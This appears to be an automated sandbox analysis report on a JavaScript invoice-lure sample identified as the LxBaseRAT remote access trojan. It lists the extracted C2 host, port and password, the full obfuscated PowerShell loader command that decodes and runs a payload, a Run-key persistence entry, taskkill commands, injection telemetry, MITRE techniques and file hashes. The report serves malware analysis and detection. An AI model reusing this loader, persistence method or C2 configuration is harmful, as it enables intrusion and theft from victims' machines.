lxbaserat | 8c66f4c0b0b3c733363c1a4fa7c1f13a116ea1d7aa21f0809118625f62ed32cd

Analysis

max time kernel
148s
max time network
33s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 02:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Scan Copy of INVOICE.js
Size 83KB
Sample260804-cz6e5abf39
SHA256 8c66f4c0b0b3c733363c1a4fa7c1f13a116ea1d7aa21f0809118625f62ed32cd
MD5 5f730ce9623dcc352a990ad17770e48b
SHA1 ce10c7c4874822b86ee75b17fef21cba97384294
SHA512 d219a67fce97e558bd019a896158d573619bbec0f6b7a476dae6df1f97a408949f4f45189ce4207a3024a38b089205c7766752755a4bbcc0b2dd04256f0d03f9
SSDEEP 768:iP0rbz1YuAw9t1AiTD9poB596H6wSftpE6atYE3NoL8:cu/9Lz9poB596H6wSftpE6atYE3NoL8
TLSH
T15483C1FA22B65875EBDFB61174A6C265FCC982F32B09D848E1045DDC83AB640AC3F5D4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

group1 a960186a4f0446948e640c091cf27a4d defense_evasion execution lxbaserat persistence rat

Malware Config

Extracted

Family

lxbaserat

Version

1.0.22

Botnet

Group1

Campaign

a960186a4f0446948e640c091cf27a4d

lxxlxxnew.noip.at:4055

Attributes

directory
WindowsTelemetry\Logs
executable
client.exe
password
JhJvrFokWE5J7XGvy01o

Signatures

Family: LxBaseRAT
LxBaseRAT is a .NET remote access trojan with stealer capabilities.
rat lxbaserat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1428	5108	cmd.exe	89

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	1560	powershell.exe
2	1560	powershell.exe
3	1560	powershell.exe
5	1560	powershell.exe
6	1560	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1560	powershell.exe
716	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\ekdhgFFAhd = "wscript.exe \"C:\\ProgramData\\MspcEng.js\""	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1560 set thread context of 3528	1560	powershell.exe	103

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1428	cmd.exe
4436	cmd.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
5396	taskkill.exe
3384	taskkill.exe
5144	taskkill.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1560	powershell.exe
1560	powershell.exe
716	powershell.exe
716	powershell.exe
716	powershell.exe
1560	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1560	powershell.exe
Token: SeDebugPrivilege	716	powershell.exe
Token: SeDebugPrivilege	5396	taskkill.exe
Token: SeDebugPrivilege	3384	taskkill.exe
Token: SeDebugPrivilege	5144	taskkill.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 1428 wrote to memory of 1560	1428	cmd.exe	92
PID 1560 wrote to memory of 2852	1560	powershell.exe	93
PID 2852 wrote to memory of 3280	2852	csc.exe	94
PID 1560 wrote to memory of 716	1560	powershell.exe	95
PID 716 wrote to memory of 4436	716	powershell.exe	98
PID 4436 wrote to memory of 5396	4436	cmd.exe	100
PID 4436 wrote to memory of 3384	4436	cmd.exe	101
PID 4436 wrote to memory of 5144	4436	cmd.exe	102
PID 1560 wrote to memory of 3528	1560	powershell.exe	103
PID 1560 wrote to memory of 3528	1560	powershell.exe	103
PID 1560 wrote to memory of 3528	1560	powershell.exe	103
PID 1560 wrote to memory of 3528	1560	powershell.exe	103
PID 1560 wrote to memory of 3528	1560	powershell.exe	103

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Scan Copy of INVOICE.js"
1⤵
PID:4116

C:\Windows\system32\cmd.exe
cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe "$j=65-53;$lQyLFW='q4z51uTcYttX';$oJOZYDq='d69483ebfaad8ae4a0b2bb97abbefdccfebc91a797adfec1d6948bd1feabd09a96aca89bb8fb80f0f2b18a8492b0bf95beec8da5a18c9baa86acb786a2cea2f0efb09da69ffee3d280d0b5ebb58c9baa86acb786a2cea2f0efb09da69f8aa782bec3eaa5cfb38df8c1d3d4d6b9a8e4a2bcbba68783bcb391bccbe3f3e1bbb99f8791a7b0eafde2f3ee85878ba7bb86bcebc487afee8a939f9ebc99a4b1fa97f3edbd94ba94bd96a4b2fc97f3f196b987808786bca1d796ddf486a9fcc3bcecc393c788cdf7bacd8bc287b38aabc7a9dde1bbb98fc3bf89bfbccf88d1e185a9f89abc9699bcca97a6f385bb8f89bdeca4afc7bde7ae94b983c6ba99a4b9c683ddf594a6bdb1bdedbcb7fc87d5e8baad8b9c8e8bb4a1fde2c9ef8693b1c692b596b7fa95c9af85a987c2ba999eaec4e0d9e1bccc9f8787b38aeed593f4ac96b9a59e959995bcd784aeeebba9b180958686e2d798d5f7bbb69f8abcb7b099fd98dddebdccf89bbf89c6aecfe3c9e2bc939f86ba9ba0adfc87d9ebbd97fcbebcecb4b0d597fceb90cdf8caf9d3f89afab4b2cfa68eacd3f38a8babfb94fafdb690a087b7b19cfbb68bcbfea78ae7b6b0bd9dbff7bef8c6e5c49ca798e6dc9cfba4ccefad97a794f685b1b4f0a6fae9aba3f3c998ac9db6dcb1ecfee9ca9a87acb79cbcb6f4fdadebd7e0dad3d494aef0b3ebf2b090e997f6fa9ef2e5f4e8a6919bbede91bc98befda4bfd5ba8ae7a4bbbcb1b7f7b5f1efe4d68e96aaf3a0baf0b4f0f6ffdaa5d3f39d9daef0a4bfbfb3d08a9cabb086f2e2f5e4efad87b281bbaa87a9f0f0bbecf1baa684b0b29dbafa94feefbed6edacf7a391baeab3f7e0a283b4fed4b887b5fda4f6f4b1dea0dbfabfdeffeafcbbf6f3dab9ce9ef6dbf2e5f4e6a684aea192b0aa9db6d9b1ebfe82c4f3bfb1bf969aeda3faf6bd92b0dbfabfdbe0ba82a2bfa6d08e96aa8a8babfba3b7b2a3c1b2d781f0b4aef2bcd1fab29be9debbafd2ffeaada4bfb1c3eda1f09997afd3b5ebf3b09ae1d7b3f2da';$xbn9HE='fzNKBghFYkJlTk8jZghBBA1OZnBgQEZ+eUZ/FQZMaFUgb05jdBRNDA1DLWV4QFVkR01mDhdUYFhvRAYkDVoLD1lJZx4tBU8jbRJ8FAVUaFUlWnpMRxVGFgVUbkRRGxtOVgROFAFpb0V4QE9uQUkLMk1dOhJiD2hjUg5EBUwEbhooUQhwKWsiakBLPHYkCQZlUBUIQE8AJkY2Dg48HVMBUlEVLwc1FA88EVkACQlHLgciS1FqA0gDSENIdUJ8Gw4iFVgdTlYVNBg9GBQjFVQfTw1NZhk9D0t9Q0YGTEwHaUJ4URsiC1MfWUoVNRg9ERIjFVIfTw1NZhk9D0t9Q0YGSWkqaFAkCQVqGQUPRA8JLFdiRQkpUFx0NAFYdRhJT0JiQAhBBzkaO2NYZxkjYwRbMxBSaFhrCQVqDUgCDQVUYl4rHR1ecCAIQE8AJmRYHx8lCksQSVgcRHgrAQotAyURXkMJejsGAQEpQwZJQFkAJkJ0VQ9oQQVNAwYXNQE/GUcgFVkWWUkTMAI4DBU5QAICA1YWYAA+FkciVwVODwhQdBlhTkIjVg5bARZFb1NrTVN4QQZODQ0Ob1JvDg43VwZcBg9HZ15qUkd+QEYPW0QEZlFqARwtAAZIBkpzdFR/VVNkSgYHUEgAJVFrRw9BQQ9IFAwALBY9EwgALkVDQFkAJgUrARoALkVCGVkHbE98U05qVgBCTixPJhYnAQZgQQRcR18tCxYsAQFkBEl0IwtOd1N+VXw3HiddDwliYEVpFxVeUBNGDgMIJXttVUJlQRJ0UTkJKBYoTFgtAxNaDhdTJhZMCQVqQwcDQEBMLRYrbFJ9RyRBB0MMIRFNUVFBRRRBAwwHLRYrEQYtCEEIGFIUJh8BKwEtBEFoBRANUURjQkR+Vx1cDxZUIXVcdAEgQARcAxhTZFppQlUtCQdGEhdUIQNwR1UtagBCBUhjUWMsXCwHKWsPQEQAIRYsAQEt';$kmSbx8=0xD132-0x2147;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0xAA)};$vWftq5b1A=$t5krJysa8;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0x55)};$fT3Dke=$t5krJysa8;$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$oJOZYDq.Length;$j+=2){$t5krJysa8oldR+=[char](([Convert]::ToInt32($oJOZYDq.Substring($j,2),16))-bxor$vWftq5b1A[$i++%$vWftq5b1A.Length])};$z8yycO2zJ=$t5krJysa8oldR;$t5krJysa8oldB=[Convert]::FromBase64String([regex]::Replace($xbn9HE, '$t5krJysa8', ''));$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$t5krJysa8oldB.Length;$j++){$t5krJysa8oldR+=[char]($t5krJysa8oldB[$j]-bxor$fT3Dke[$i++%$fT3Dke.Length])};$lrI20dCl=$t5krJysa8oldR;$pRpKgye=$z8yycO2zJ+$lrI20dCl;.($env:ComSpec[4,26,25]-join'') $pRpKgye"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\Scan Copy of INVOICE.js' -Destination 'C:\ProgramData\MspcEng.js' -Force"
1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "$j=65-53;$lQyLFW='q4z51uTcYttX';$oJOZYDq='d69483ebfaad8ae4a0b2bb97abbefdccfebc91a797adfec1d6948bd1feabd09a96aca89bb8fb80f0f2b18a8492b0bf95beec8da5a18c9baa86acb786a2cea2f0efb09da69ffee3d280d0b5ebb58c9baa86acb786a2cea2f0efb09da69f8aa782bec3eaa5cfb38df8c1d3d4d6b9a8e4a2bcbba68783bcb391bccbe3f3e1bbb99f8791a7b0eafde2f3ee85878ba7bb86bcebc487afee8a939f9ebc99a4b1fa97f3edbd94ba94bd96a4b2fc97f3f196b987808786bca1d796ddf486a9fcc3bcecc393c788cdf7bacd8bc287b38aabc7a9dde1bbb98fc3bf89bfbccf88d1e185a9f89abc9699bcca97a6f385bb8f89bdeca4afc7bde7ae94b983c6ba99a4b9c683ddf594a6bdb1bdedbcb7fc87d5e8baad8b9c8e8bb4a1fde2c9ef8693b1c692b596b7fa95c9af85a987c2ba999eaec4e0d9e1bccc9f8787b38aeed593f4ac96b9a59e959995bcd784aeeebba9b180958686e2d798d5f7bbb69f8abcb7b099fd98dddebdccf89bbf89c6aecfe3c9e2bc939f86ba9ba0adfc87d9ebbd97fcbebcecb4b0d597fceb90cdf8caf9d3f89afab4b2cfa68eacd3f38a8babfb94fafdb690a087b7b19cfbb68bcbfea78ae7b6b0bd9dbff7bef8c6e5c49ca798e6dc9cfba4ccefad97a794f685b1b4f0a6fae9aba3f3c998ac9db6dcb1ecfee9ca9a87acb79cbcb6f4fdadebd7e0dad3d494aef0b3ebf2b090e997f6fa9ef2e5f4e8a6919bbede91bc98befda4bfd5ba8ae7a4bbbcb1b7f7b5f1efe4d68e96aaf3a0baf0b4f0f6ffdaa5d3f39d9daef0a4bfbfb3d08a9cabb086f2e2f5e4efad87b281bbaa87a9f0f0bbecf1baa684b0b29dbafa94feefbed6edacf7a391baeab3f7e0a283b4fed4b887b5fda4f6f4b1dea0dbfabfdeffeafcbbf6f3dab9ce9ef6dbf2e5f4e6a684aea192b0aa9db6d9b1ebfe82c4f3bfb1bf969aeda3faf6bd92b0dbfabfdbe0ba82a2bfa6d08e96aa8a8babfba3b7b2a3c1b2d781f0b4aef2bcd1fab29be9debbafd2ffeaada4bfb1c3eda1f09997afd3b5ebf3b09ae1d7b3f2da';$xbn9HE='fzNKBghFYkJlTk8jZghBBA1OZnBgQEZ+eUZ/FQZMaFUgb05jdBRNDA1DLWV4QFVkR01mDhdUYFhvRAYkDVoLD1lJZx4tBU8jbRJ8FAVUaFUlWnpMRxVGFgVUbkRRGxtOVgROFAFpb0V4QE9uQUkLMk1dOhJiD2hjUg5EBUwEbhooUQhwKWsiakBLPHYkCQZlUBUIQE8AJkY2Dg48HVMBUlEVLwc1FA88EVkACQlHLgciS1FqA0gDSENIdUJ8Gw4iFVgdTlYVNBg9GBQjFVQfTw1NZhk9D0t9Q0YGTEwHaUJ4URsiC1MfWUoVNRg9ERIjFVIfTw1NZhk9D0t9Q0YGSWkqaFAkCQVqGQUPRA8JLFdiRQkpUFx0NAFYdRhJT0JiQAhBBzkaO2NYZxkjYwRbMxBSaFhrCQVqDUgCDQVUYl4rHR1ecCAIQE8AJmRYHx8lCksQSVgcRHgrAQotAyURXkMJejsGAQEpQwZJQFkAJkJ0VQ9oQQVNAwYXNQE/GUcgFVkWWUkTMAI4DBU5QAICA1YWYAA+FkciVwVODwhQdBlhTkIjVg5bARZFb1NrTVN4QQZODQ0Ob1JvDg43VwZcBg9HZ15qUkd+QEYPW0QEZlFqARwtAAZIBkpzdFR/VVNkSgYHUEgAJVFrRw9BQQ9IFAwALBY9EwgALkVDQFkAJgUrARoALkVCGVkHbE98U05qVgBCTixPJhYnAQZgQQRcR18tCxYsAQFkBEl0IwtOd1N+VXw3HiddDwliYEVpFxVeUBNGDgMIJXttVUJlQRJ0UTkJKBYoTFgtAxNaDhdTJhZMCQVqQwcDQEBMLRYrbFJ9RyRBB0MMIRFNUVFBRRRBAwwHLRYrEQYtCEEIGFIUJh8BKwEtBEFoBRANUURjQkR+Vx1cDxZUIXVcdAEgQARcAxhTZFppQlUtCQdGEhdUIQNwR1UtagBCBUhjUWMsXCwHKWsPQEQAIRYsAQEt';$kmSbx8=0xD132-0x2147;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0xAA)};$vWftq5b1A=$t5krJysa8;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0x55)};$fT3Dke=$t5krJysa8;$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$oJOZYDq.Length;$j+=2){$t5krJysa8oldR+=[char](([Convert]::ToInt32($oJOZYDq.Substring($j,2),16))-bxor$vWftq5b1A[$i++%$vWftq5b1A.Length])};$z8yycO2zJ=$t5krJysa8oldR;$t5krJysa8oldB=[Convert]::FromBase64String([regex]::Replace($xbn9HE, '$t5krJysa8', ''));$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$t5krJysa8oldB.Length;$j++){$t5krJysa8oldR+=[char]($t5krJysa8oldB[$j]-bxor$fT3Dke[$i++%$fT3Dke.Length])};$lrI20dCl=$t5krJysa8oldR;$pRpKgye=$z8yycO2zJ+$lrI20dCl;.($env:ComSpec[4,26,25]-join'') $pRpKgye"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\Scan Copy of INVOICE.js' -Destination 'C:\ProgramData\MspcEng.js' -Force"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1560
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\irwjg2vk\irwjg2vk.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2852
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8514.tmp" "c:\Users\Admin\AppData\Local\Temp\irwjg2vk\CSCD851C0E8849A41DC929C7FD971AD1471.TMP"
      4⤵
      PID:3280
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:716
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4436
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5396
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3384
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5144
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:3528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5272

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 85cc2152b8554cac3352c9cf3cb30a79ad427309940cabc2b3a4c496084f8dc5
MD5 959e1b4918203c51928cb5a717a9dbf3
SHA1 bec8d10e1a38546b4c57fd1b30c624a7dc9a55ca
SHA512 ae841fca8446900c2bb270869687dbd9d0a0082540fd221e145d345d4cf547c4b01bd3aefc4a091577c9966d52d3ba15e72f9518124172e390e655acc761e93c
TLSH
T1E3213633B3DC8615D889407A50CEAC1436B697DB809E8E5BBB84D648B43F599CE60660
MD5 SHA1 SHA512 TLSH

Submit Download

RES8514.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES8514.tmp
Size 1KB
SHA256 52294719da0245970d9e3d9cbff517ce208fe973c915c711d0218769042b014d
MD5 ae6117b0e230af53bbc1fc952001812f
SHA1 07b4da906874d6ef29cda3bf74ffbe985ee7aeb2
SHA512 5a7532cccf0f7494303218102f1fa6d57955c3e3524abaf6999e97acb2ed0118b81a726b3ebf0766a6e9f855f681c9858434717b1a5fc678b0943fa29fc5b417
TLSH
T16621EF4543E8470FF0B38B3069F6172B9674FD69DF7193AA448002292C51500EEE0E72
MD5 SHA1 SHA512 TLSH

Submit Download

irwjg2vk.dll

Path C:\Users\Admin\AppData\Local\Temp\irwjg2vk\irwjg2vk.dll
Size 3KB
SHA256 5c52f70936ae24a7268e2894e4a648f65c3b9cf95620122aa705b04245d56597
MD5 d48693f75f9b6819f5b3aec3a9b887e3
SHA1 707751df2f241e3816e754cf0d02311a721fcfbc
SHA512 cb99319012be4fdcc739a05d5cf50df752d6797911fe1984d795c407263280a827bed2076f11665dfbfc3e49c0919faca28daa04de0d5a156183aefa4b660a71
TLSH
T12551ED1A63E8562BF4A70B357EE343032774F9209B62534949800228AC613649E32FB5
MD5 SHA1 SHA512 TLSH

Submit Download

CSCD851C0E8849A41DC929C7FD971AD1471.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\irwjg2vk\CSCD851C0E8849A41DC929C7FD971AD1471.TMP
Size 652B
SHA256 449d3cf5fd2c2b8ea4e2ea3de42f65e0358f3dfd1b9bd5f8dd135d541a4eb003
MD5 c5ce0abc230fa88dee7f7cdafafd43f2
SHA1 3d55189a72961b49e3eaf22e22c7df3b8c7a5db3
SHA512 524218e2b634137abaaaecfff952b83d5bff1326760a30fd7d92cc33c82630e15e7cd3cb8b2cb1e29161513b1f2c928ba9b3da0f011fa7a50a44035aa38db09e
TLSH
T122F05E4963F8520EF0F34B30BDF6436391A8BC64DE3293ED1580131968645109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

irwjg2vk.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\irwjg2vk\irwjg2vk.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

irwjg2vk.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\irwjg2vk\irwjg2vk.cmdline
Size 369B
SHA256 15b93835d1744ca3b300f9d0511b1058e1c45766ce604eb7166b8fef5acab013
MD5 85d69ecce84dfb02d278ded361d947db
SHA1 1781d5df93e3bc2e7fd2dff83fdc6788f6dcf764
SHA512 33493748523d3060f9bf5d95d5c4434fa640116cd1adfae863c7bc4a8903d9d7c53f5bc853f17da64412d7c79f568bdab81b5c0929abd0b84f413caa4752350e
TLSH
T1ADE0D82F5256C67E35DA100722A9C5BC867206C72A91BF84D199487ED0A7005A7D27F5
MD5 SHA1 SHA512 TLSH

Submit Download

memory/716-45-0x000002A4762D0000-0x000002A47634C000-memory.dmp

Download

memory/1560-27-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-32-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-10-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-9-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-8-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-24-0x0000017351700000-0x0000017351708000-memory.dmp

Download

memory/1560-7-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-6-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-25-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-26-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-0-0x00007FFBFB7DF000-0x00007FFBFB7E0000-memory.dmp

Download

memory/1560-28-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-29-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-30-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-31-0x000001734FCD0000-0x000001734FCEA000-memory.dmp

Download

memory/1560-11-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-33-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-36-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-37-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-35-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-34-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-41-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-42-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-5-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-3-0x0000017351660000-0x0000017351682000-memory.dmp

Download

memory/1560-50-0x000001736A250000-0x000001736A2CC000-memory.dmp

Download

memory/1560-4-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/1560-51-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

Download

memory/3528-46-0x0000000000400000-0x000000000047C000-memory.dmp

Download